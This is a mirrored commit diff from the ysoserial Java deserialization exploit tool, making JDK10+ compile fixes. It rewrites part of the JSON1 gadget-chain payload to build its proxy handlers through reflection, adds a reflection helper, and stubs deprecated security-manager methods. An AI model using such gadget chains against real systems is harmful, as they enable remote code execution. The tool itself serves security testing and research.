mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
jdk10+ compile fixes
This commit is contained in:
@@ -22,7 +22,6 @@ import javax.management.openmbean.TabularType;
|
|||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
import org.springframework.aop.framework.AdvisedSupport;
|
import org.springframework.aop.framework.AdvisedSupport;
|
||||||
import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
|
|
||||||
import net.sf.json.JSONObject;
|
import net.sf.json.JSONObject;
|
||||||
|
|
||||||
|
|
||||||
@@ -95,12 +94,11 @@ public class JSON1 implements ObjectPayload<Object> {
|
|||||||
// it's very likely that there are other proxy impls that could be used
|
// it's very likely that there are other proxy impls that could be used
|
||||||
AdvisedSupport as = new AdvisedSupport();
|
AdvisedSupport as = new AdvisedSupport();
|
||||||
as.setTarget(payload);
|
as.setTarget(payload);
|
||||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
|
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||||
.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
|
|
||||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
|
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
|
||||||
CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
|
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||||
invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
|
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||||
invocationHandler.setDefaultHandler(delegateInvocationHandler);
|
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||||
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
|
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
|
||||||
|
|
||||||
JSONObject jo = new JSONObject();
|
JSONObject jo = new JSONObject();
|
||||||
|
|||||||
@@ -34,6 +34,9 @@ public class Reflections {
|
|||||||
return ctor;
|
return ctor;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static Object newInstance(String className, Object ... args) throws Exception {
|
||||||
|
return getFirstCtor(className).newInstance(args);
|
||||||
|
}
|
||||||
|
|
||||||
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
|
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
|
||||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||||
|
|||||||
@@ -16,12 +16,42 @@ public class DelegateSecurityManager extends SecurityManager {
|
|||||||
this.securityManager = securityManager;
|
this.securityManager = securityManager;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//BEGIN fixes for JDK10+ compatibility
|
||||||
|
|
||||||
@SuppressWarnings({"deprecation"})
|
@SuppressWarnings({"deprecation"})
|
||||||
//@Override //fix for JDK10+
|
//@Override
|
||||||
public boolean getInCheck() {
|
public boolean getInCheck() {
|
||||||
return getSecurityManager().getInCheck();
|
//return getSecurityManager().getInCheck();
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"deprecation"})
|
||||||
|
//@Override
|
||||||
|
public boolean checkTopLevelWindow(Object window) {
|
||||||
|
//return getSecurityManager().checkTopLevelWindow(window);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"deprecation"})
|
||||||
|
//@Override
|
||||||
|
public void checkSystemClipboardAccess() {
|
||||||
|
//getSecurityManager().checkSystemClipboardAccess();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"deprecation"})
|
||||||
|
//@Override
|
||||||
|
public void checkAwtEventQueueAccess() {
|
||||||
|
//getSecurityManager().checkAwtEventQueueAccess();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings({"deprecation"})
|
||||||
|
//@Override
|
||||||
|
public void checkMemberAccess(Class<?> clazz, int which) {
|
||||||
|
//getSecurityManager().checkMemberAccess(clazz, which);
|
||||||
|
}
|
||||||
|
|
||||||
|
//END fixes for JDK10+ compatibility
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getSecurityContext() {
|
public Object getSecurityContext() {
|
||||||
return getSecurityManager().getSecurityContext();
|
return getSecurityManager().getSecurityContext();
|
||||||
@@ -138,29 +168,11 @@ public class DelegateSecurityManager extends SecurityManager {
|
|||||||
getSecurityManager().checkPropertyAccess(key);
|
getSecurityManager().checkPropertyAccess(key);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings({"deprecation"})
|
|
||||||
@Override
|
|
||||||
public boolean checkTopLevelWindow(Object window) {
|
|
||||||
return getSecurityManager().checkTopLevelWindow(window);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void checkPrintJobAccess() {
|
public void checkPrintJobAccess() {
|
||||||
getSecurityManager().checkPrintJobAccess();
|
getSecurityManager().checkPrintJobAccess();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings({"deprecation"})
|
|
||||||
@Override
|
|
||||||
public void checkSystemClipboardAccess() {
|
|
||||||
getSecurityManager().checkSystemClipboardAccess();
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings({"deprecation"})
|
|
||||||
@Override
|
|
||||||
public void checkAwtEventQueueAccess() {
|
|
||||||
getSecurityManager().checkAwtEventQueueAccess();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void checkPackageAccess(String pkg) {
|
public void checkPackageAccess(String pkg) {
|
||||||
|
|
||||||
@@ -177,12 +189,6 @@ public class DelegateSecurityManager extends SecurityManager {
|
|||||||
getSecurityManager().checkSetFactory();
|
getSecurityManager().checkSetFactory();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings({"deprecation"})
|
|
||||||
@Override
|
|
||||||
public void checkMemberAccess(Class<?> clazz, int which) {
|
|
||||||
getSecurityManager().checkMemberAccess(clazz, which);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void checkSecurityAccess(String target) {
|
public void checkSecurityAccess(String target) {
|
||||||
getSecurityManager().checkSecurityAccess(target);
|
getSecurityManager().checkSecurityAccess(target);
|
||||||
|
|||||||
Reference in New Issue
Block a user